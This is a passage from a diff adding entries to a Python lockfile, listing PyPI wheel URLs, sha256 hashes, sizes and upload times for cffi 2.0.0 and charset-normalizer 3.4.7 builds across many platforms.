+    { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" },
+    { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" },
+    { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" },
+    { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" },
+    { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" },
+    { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" },
+    { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" },
+    { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" },
+    { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" },
+]
+
+[[package]]
+name = "charset-normalizer"
+version = "3.4.7"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/26/08/0f303cb0b529e456bb116f2d50565a482694fbb94340bf56d44677e7ed03/charset_normalizer-3.4.7-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cdd68a1fb318e290a2077696b7eb7a21a49163c455979c639bf5a5dcdc46617d", size = 315182, upload-time = "2026-04-02T09:25:40.673Z" },
+    { url = "https://files.pythonhosted.org/packages/24/47/b192933e94b546f1b1fe4df9cc1f84fcdbf2359f8d1081d46dd029b50207/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e17b8d5d6a8c47c85e68ca8379def1303fd360c3e22093a807cd34a71cd082b8", size = 209329, upload-time = "2026-04-02T09:25:42.354Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/b4/01fa81c5ca6141024d89a8fc15968002b71da7f825dd14113207113fabbd/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:511ef87c8aec0783e08ac18565a16d435372bc1ac25a91e6ac7f5ef2b0bff790", size = 231230, upload-time = "2026-04-02T09:25:44.281Z" },
+    { url = "https://files.pythonhosted.org/packages/20/f7/7b991776844dfa058017e600e6e55ff01984a063290ca5622c0b63162f68/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:007d05ec7321d12a40227aae9e2bc6dca73f3cb21058999a1df9e193555a9dcc", size = 225890, upload-time = "2026-04-02T09:25:45.475Z" },
+    { url = "https://files.pythonhosted.org/packages/20/e7/bed0024a0f4ab0c8a9c64d4445f39b30c99bd1acd228291959e3de664247/charset_normalizer-3.4.7-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cf29836da5119f3c8a8a70667b0ef5fdca3bb12f80fd06487cfa575b3909b393", size = 216930, upload-time = "2026-04-02T09:25:46.58Z" },
+    { url = "https://files.pythonhosted.org/packages/e2/ab/b18f0ab31cdd7b3ddb8bb76c4a414aeb8160c9810fdf1bc62f269a539d87/charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_armv7l.whl", hash = "sha256:12d8baf840cc7889b37c7c770f478adea7adce3dcb3944d02ec87508e2dcf153", size = 202109, upload-time = "2026-04-02T09:25:48.031Z" },
+    { url = "https://files.pythonhosted.org/packages/82/e5/7e9440768a06dfb3075936490cb82dbf0ee20a133bf0dd8551fa096914ec/charset_normalizer-3.4.7-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d560742f3c0d62afaccf9f41fe485ed69bd7661a241f86a3ef0f0fb8b1a397af", size = 214684, upload-time = "2026-04-02T09:25:49.245Z" },
+    { url = "https://files.pythonhosted.org/packages/71/94/8c61d8da9f062fdf457c80acfa25060ec22bf1d34bbeaca4350f13bcfd07/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b14b2d9dac08e28bb8046a1a0434b1750eb221c8f5b87a68f4fa11a6f97b5e34", size = 212785, upload-time = "2026-04-02T09:25:50.671Z" },
+    { url = "https://files.pythonhosted.org/packages/66/cd/6e9889c648e72c0ab2e5967528bb83508f354d706637bc7097190c874e13/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:bc17a677b21b3502a21f66a8cc64f5bfad4df8a0b8434d661666f8ce90ac3af1", size = 203055, upload-time = "2026-04-02T09:25:51.802Z" },
+    { url = "https://files.pythonhosted.org/packages/92/2e/7a951d6a08aefb7eb8e1b54cdfb580b1365afdd9dd484dc4bee9e5d8f258/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:750e02e074872a3fad7f233b47734166440af3cdea0add3e95163110816d6752", size = 232502, upload-time = "2026-04-02T09:25:53.388Z" },
+    { url = "https://files.pythonhosted.org/packages/58/d5/abcf2d83bf8e0a1286df55cd0dc1d49af0da4282aa77e986df343e7de124/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:4e5163c14bffd570ef2affbfdd77bba66383890797df43dc8b4cc7d6f500bf53", size = 214295, upload-time = "2026-04-02T09:25:54.765Z" },
+    { url = "https://files.pythonhosted.org/packages/47/3a/7d4cd7ed54be99973a0dc176032cba5cb1f258082c31fa6df35cff46acfc/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:6ed74185b2db44f41ef35fd1617c5888e59792da9bbc9190d6c7300617182616", size = 227145, upload-time = "2026-04-02T09:25:55.904Z" },
+    { url = "https://files.pythonhosted.org/packages/1d/98/3a45bf8247889cf28262ebd3d0872edff11565b2a1e3064ccb132db3fbb0/charset_normalizer-3.4.7-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:94e1885b270625a9a828c9793b4d52a64445299baa1fea5a173bf1d3dd9a1a5a", size = 218884, upload-time = "2026-04-02T09:25:57.074Z" },
+    { url = "https://files.pythonhosted.org/packages/ad/80/2e8b7f8915ed5c9ef13aa828d82738e33888c485b65ebf744d615040c7ea/charset_normalizer-3.4.7-cp310-cp310-win32.whl", hash = "sha256:6785f414ae0f3c733c437e0f3929197934f526d19dfaa75e18fdb4f94c6fb374", size = 148343, upload-time = "2026-04-02T09:25:58.199Z" },
+    { url = "https://files.pythonhosted.org/packages/35/1b/3b8c8c77184af465ee9ad88b5aea46ea6b2e1f7b9dc9502891e37af21e30/charset_normalizer-3.4.7-cp310-cp310-win_amd64.whl", hash = "sha256:6696b7688f54f5af4462118f0bfa7c1621eeb87154f77fa04b9295ce7a8f2943", size = 159174, upload-time = "2026-04-02T09:25:59.322Z" },
+    { url = "https://files.pythonhosted.org/packages/be/c1/feb40dca40dbb21e0a908801782d9288c64fc8d8e562c2098e9994c8c21b/charset_normalizer-3.4.7-cp310-cp310-win_arm64.whl", hash = "sha256:66671f93accb62ed07da56613636f3641f1a12c13046ce91ffc923721f23c008", size = 147805, upload-time = "2026-04-02T09:26:00.756Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/d7/b5b7020a0565c2e9fa8c09f4b5fa6232feb326b8c20081ccded47ea368fd/charset_normalizer-3.4.7-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7641bb8895e77f921102f72833904dcd9901df5d6d72a2ab8f31d04b7e51e4e7", size = 309705, upload-time = "2026-04-02T09:26:02.191Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/53/58c29116c340e5456724ecd2fff4196d236b98f3da97b404bc5e51ac3493/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:202389074300232baeb53ae2569a60901f7efadd4245cf3a3bf0617d60b439d7", size = 206419, upload-time = "2026-04-02T09:26:03.583Z" },
+    { url = "https://files.pythonhosted.org/packages/b2/02/e8146dc6591a37a00e5144c63f29fb7c97a734ea8a111190783c0e60ab63/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:30b8d1d8c52a48c2c5690e152c169b673487a2a58de1ec7393196753063fcd5e", size = 227901, upload-time = "2026-04-02T09:26:04.738Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/73/77486c4cd58f1267bf17db420e930c9afa1b3be3fe8c8b8ebbebc9624359/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:532bc9bf33a68613fd7d65e4b1c71a6a38d7d42604ecf239c77392e9b4e8998c", size = 222742, upload-time = "2026-04-02T09:26:06.36Z" },
+    { url = "https://files.pythonhosted.org/packages/a1/fa/f74eb381a7d94ded44739e9d94de18dc5edc9c17fb8c11f0a6890696c0a9/charset_normalizer-3.4.7-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2fe249cb4651fd12605b7288b24751d8bfd46d35f12a20b1ba33dea122e690df", size = 214061, upload-time = "2026-04-02T09:26:08.347Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/92/42bd3cefcf7687253fb86694b45f37b733c97f59af3724f356fa92b8c344/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:65bcd23054beab4d166035cabbc868a09c1a49d1efe458fe8e4361215df40265", size = 199239, upload-time = "2026-04-02T09:26:09.823Z" },
+    { url = "https://files.pythonhosted.org/packages/4c/3d/069e7184e2aa3b3cddc700e3dd267413dc259854adc3380421c805c6a17d/charset_normalizer-3.4.7-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:08e721811161356f97b4059a9ba7bafb23ea5ee2255402c42881c214e173c6b4", size = 210173, upload-time = "2026-04-02T09:26:10.953Z" },
+    { url = "https://files.pythonhosted.org/packages/62/51/9d56feb5f2e7074c46f93e0ebdbe61f0848ee246e2f0d89f8e20b89ebb8f/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:e060d01aec0a910bdccb8be71faf34e7799ce36950f8294c8bf612cba65a2c9e", size = 209841, upload-time = "2026-04-02T09:26:12.142Z" },
+    { url = "https://files.pythonhosted.org/packages/d2/59/893d8f99cc4c837dda1fe2f1139079703deb9f321aabcb032355de13b6c7/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:38c0109396c4cfc574d502df99742a45c72c08eff0a36158b6f04000043dbf38", size = 200304, upload-time = "2026-04-02T09:26:13.711Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/1d/ee6f3be3464247578d1ed5c46de545ccc3d3ff933695395c402c21fa6b77/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:1c2a768fdd44ee4a9339a9b0b130049139b8ce3c01d2ce09f67f5a68048d477c", size = 229455, upload-time = "2026-04-02T09:26:14.941Z" },
+    { url = "https://files.pythonhosted.org/packages/54/bb/8fb0a946296ea96a488928bdce8ef99023998c48e4713af533e9bb98ef07/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:1a87ca9d5df6fe460483d9a5bbf2b18f620cbed41b432e2bddb686228282d10b", size = 210036, upload-time = "2026-04-02T09:26:16.478Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/bc/015b2387f913749f82afd4fcba07846d05b6d784dd16123cb66860e0237d/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:d635aab80466bc95771bb78d5370e74d36d1fe31467b6b29b8b57b2a3cd7d22c", size = 224739, upload-time = "2026-04-02T09:26:17.751Z" },
+    { url = "https://files.pythonhosted.org/packages/17/ab/63133691f56baae417493cba6b7c641571a2130eb7bceba6773367ab9ec5/charset_normalizer-3.4.7-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:ae196f021b5e7c78e918242d217db021ed2a6ace2bc6ae94c0fc596221c7f58d", size = 216277, upload-time = "2026-04-02T09:26:18.981Z" },
+    { url = "https://files.pythonhosted.org/packages/06/6d/3be70e827977f20db77c12a97e6a9f973631a45b8d186c084527e53e77a4/charset_normalizer-3.4.7-cp311-cp311-win32.whl", hash = "sha256:adb2597b428735679446b46c8badf467b4ca5f5056aae4d51a19f9570301b1ad", size = 147819, upload-time = "2026-04-02T09:26:20.295Z" },
+    { url = "https://files.pythonhosted.org/packages/20/d9/5f67790f06b735d7c7637171bbfd89882ad67201891b7275e51116ed8207/charset_normalizer-3.4.7-cp311-cp311-win_amd64.whl", hash = "sha256:8e385e4267ab76874ae30db04c627faaaf0b509e1ccc11a95b3fc3e83f855c00", size = 159281, upload-time = "2026-04-02T09:26:21.74Z" },
+    { url = "https://files.pythonhosted.org/packages/ca/83/6413f36c5a34afead88ce6f66684d943d91f233d76dd083798f9602b75ae/charset_normalizer-3.4.7-cp311-cp311-win_arm64.whl", hash = "sha256:d4a48e5b3c2a489fae013b7589308a40146ee081f6f509e047e0e096084ceca1", size = 147843, upload-time = "2026-04-02T09:26:22.901Z" },
+    { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" },
+    { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" },
+    { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" },
+    { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" },
+    { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" },
+    { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" },
+    { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" },
+    { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" },
+    { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" },
+    { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" },
+    { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" },
+    { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" },
+    { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" },
